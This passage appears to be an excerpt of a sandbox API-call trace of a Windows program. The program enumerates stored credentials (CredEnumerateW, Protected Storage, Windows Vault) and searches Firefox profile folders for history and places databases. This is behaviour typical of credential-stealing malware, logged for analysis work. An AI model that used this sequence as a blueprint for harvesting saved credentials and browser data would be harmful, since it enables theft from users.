_String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 1 [0069.194] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned 1 [0069.195] CryptAcquireContextA (in: phProv=0x28bb08, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x28bb08*=0x89fed8) returned 1 [0069.213] wcslen (_String="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned 0x30 [0069.214] CredEnumerateW (in: Filter=0x0, Flags=0x0, Count=0x28bafc, Credential=0x28bb00 | out: Count=0x28bafc, Credential=0x28bb00) returned 0 [0069.219] FreeLibrary (hLibModule=0x756e0000) returned 1 [0069.219] LoadLibraryW (lpLibFileName="pstorec.dll") returned 0x74150000 [0069.221] GetProcAddress (hModule=0x74150000, lpProcName="PStoreCreateInstance") returned 0x7415526c [0069.221] PStoreCreateInstance () returned 0x0 [0069.224] FreeLibrary (hLibModule=0x74150000) returned 1 [0069.224] LoadLibraryW (lpLibFileName="vaultcli.dll") returned 0x740e0000 [0069.235] GetProcAddress (hModule=0x740e0000, lpProcName="VaultOpenVault") returned 0x740e26a9 [0069.235] GetProcAddress (hModule=0x740e0000, lpProcName="VaultCloseVault") returned 0x740e2718 [0069.235] GetProcAddress (hModule=0x740e0000, lpProcName="VaultEnumerateItems") returned 0x740e3099 [0069.235] GetProcAddress (hModule=0x740e0000, lpProcName="VaultFree") returned 0x740e4321 [0069.235] GetProcAddress (hModule=0x740e0000, lpProcName="VaultGetInformation") returned 0x740e24c0 [0069.235] GetProcAddress (hModule=0x740e0000, lpProcName="VaultGetItem") returned 0x740e3242 [0069.235] GetProcAddress (hModule=0x740e0000, lpProcName="VaultGetItem") returned 0x740e3242 [0069.235] VaultOpenVault () returned 0x0 [0069.793] VaultEnumerateItems () returned 0x0 [0069.793] VaultFree () returned 0x740e4321 [0069.793] VaultCloseVault () returned 0x6 [0069.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28b454, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0069.795] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0069.795] wcscat (in: _Dest=0x28b454, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0069.795] wcscat (in: _Dest=0x28b454, _Source="Mozilla\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles" [0069.795] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28b660, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0069.795] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0069.795] wcscat (in: _Dest=0x28b660, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0069.795] wcscat (in: _Dest=0x28b660, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.795] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x32 [0069.795] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x32 [0069.795] wcslen (_String="*.*") returned 0x3 [0069.795] wcscpy (in: _Dest=0x28aa4c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles" [0069.795] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles") returned 0x32 [0069.795] wcscat (in: _Dest=0x28aa4c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\" [0069.795] wcscat (in: _Dest=0x28aa4c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\*.*" [0069.795] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Profiles\\*.*", lpFindFileData=0x28acd4 | out: lpFindFileData=0x28acd4) returned 0xffffffff [0069.796] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.796] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.796] wcslen (_String="*.*") returned 0x3 [0069.796] wcscpy (in: _Dest=0x28aa4c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.796] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.796] wcscat (in: _Dest=0x28aa4c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.796] wcscat (in: _Dest=0x28aa4c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0069.796] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x28acd4 | out: lpFindFileData=0x28acd4) returned 0x8a3970 [0069.796] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.796] wcslen (_String=".") returned 0x1 [0069.796] wcscpy (in: _Dest=0x28af24, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.796] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.796] wcscat (in: _Dest=0x28af24, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.796] wcscat (in: _Dest=0x28af24, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\." [0069.796] wcscmp (_String1=".", _String2="..") returned -1 [0069.796] wcscmp (_String1=".", _String2=".") returned 0 [0069.796] FindNextFileW (in: hFindFile=0x8a3970, lpFindFileData=0x28acd4 | out: lpFindFileData=0x28acd4) returned 1 [0069.796] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.796] wcslen (_String="..") returned 0x2 [0069.796] wcscpy (in: _Dest=0x28af24, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.796] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.796] wcscat (in: _Dest=0x28af24, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.796] wcscat (in: _Dest=0x28af24, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.." [0069.796] wcscmp (_String1="..", _String2="..") returned 0 [0069.796] FindNextFileW (in: hFindFile=0x8a3970, lpFindFileData=0x28acd4 | out: lpFindFileData=0x28acd4) returned 1 [0069.797] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.797] wcslen (_String="3y2joh8o.default") returned 0x10 [0069.797] wcscpy (in: _Dest=0x28af24, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.797] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.797] wcscat (in: _Dest=0x28af24, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.797] wcscat (in: _Dest=0x28af24, _Source="3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0069.797] wcscmp (_String1="3y2joh8o.default", _String2="..") returned 1 [0069.797] wcscmp (_String1="3y2joh8o.default", _String2=".") returned 1 [0069.797] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.797] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.797] wcslen (_String="history.dat") returned 0xb [0069.797] wcscpy (in: _Dest=0x28b888, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0069.797] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.797] wcscat (in: _Dest=0x28b888, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\" [0069.797] wcscat (in: _Dest=0x28b888, _Source="history.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\history.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\history.dat" [0069.797] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\history.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\history.dat")) returned 0xffffffff [0069.805] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.805] wcslen (_String="places.sqlite") returned 0xd [0069.805] wcscpy (in: _Dest=0x28b888, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0069.805] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.805] wcscat (in: _Dest=0x28b888, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\" [0069.805] wcscat (in: _Dest=0x28b888, _Source="places.sqlite" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite" [0069.805] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\places.sqlite")) returned 0x2020 [0069.806] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 0x59 [0069.806] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 0x59 [0069.806] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28b8d8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0069.806] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28b098, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1 [0069.806] wcslen (_String="Mozilla\\Firefox\\Profiles") returned 0x18 [0069.806] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0069.806] wcscpy (in: _Dest=0x28b6c8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0069.807] wcscat (in: _Dest=0x28b6c8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0069.807] wcscat (in: _Dest=0x28b6c8, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.807] wcslen (_String="Mozilla\\Firefox\\Profiles") returned 0x18 [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0069.807] wcscpy (in: _Dest=0x28b4b8, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0069.807] wcscat (in: _Dest=0x28b4b8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0069.807] wcscat (in: _Dest=0x28b4b8, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" [0069.807] wcslen (_String="Mozilla\\Firefox") returned 0xf [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0069.807] wcscpy (in: _Dest=0x28b2a8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0069.807] wcscat (in: _Dest=0x28b2a8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0069.807] wcscat (in: _Dest=0x28b2a8, _Source="Mozilla\\Firefox" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcslen (_String="*.*") returned 0x3 [0069.807] wcscpy (in: _Dest=0x28a47c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcscat (in: _Dest=0x28a47c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.807] wcscat (in: _Dest=0x28a47c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0069.807] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 0x8a3970 [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcslen (_String=".") returned 0x1 [0069.807] wcscpy (in: _Dest=0x28a954, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcscat (in: _Dest=0x28a954, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.807] wcscat (in: _Dest=0x28a954, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\." [0069.807] wcscmp (_String1=".", _String2="..") returned -1 [0069.807] wcscmp (_String1=".", _String2=".") returned 0 [0069.807] FindNextFileW (in: hFindFile=0x8a3970, lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 1 [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcslen (_String="..") returned 0x2 [0069.807] wcscpy (in: _Dest=0x28a954, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcscat (in: _Dest=0x28a954, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.807] wcscat (in: _Dest=0x28a954, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.." [0069.807] wcscmp (_String1="..", _String2="..") returned 0 [0069.807] FindNextFileW (in: hFindFile=0x8a3970, lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 1 [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcslen (_String="3y2joh8o.default") returned 0x10 [0069.807] wcscpy (in: _Dest=0x28a954, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0069.807] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3a [0069.807] wcscat (in: _Dest=0x28a954, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0069.807] wcscat (in: _Dest=0x28a954, _Source="3y2joh8o.default" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0069.807] wcscmp (_String1="3y2joh8o.default", _String2="..") returned 1 [0069.807] wcscmp (_String1="3y2joh8o.default", _String2=".") returned 1 [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4b [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcslen (_String="*.*") returned 0x3 [0069.808] wcscpy (in: _Dest=0x28a47c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcscat (in: _Dest=0x28a47c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" [0069.808] wcscat (in: _Dest=0x28a47c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*" [0069.808] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 0x8a3970 [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcslen (_String=".") returned 0x1 [0069.808] wcscpy (in: _Dest=0x28a954, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcscat (in: _Dest=0x28a954, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\" [0069.808] wcscat (in: _Dest=0x28a954, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\." [0069.808] wcscmp (_String1=".", _String2="..") returned -1 [0069.808] wcscmp (_String1=".", _String2=".") returned 0 [0069.808] FindNextFileW (in: hFindFile=0x8a3970, lpFindFileData=0x28a704 | out: lpFindFileData=0x28a704) returned 1 [0069.808] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x38 [0069.808] wcslen (_String="..") returned 0x2 [0069.808] wcscpy (in: _Dest=0x28a954, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") 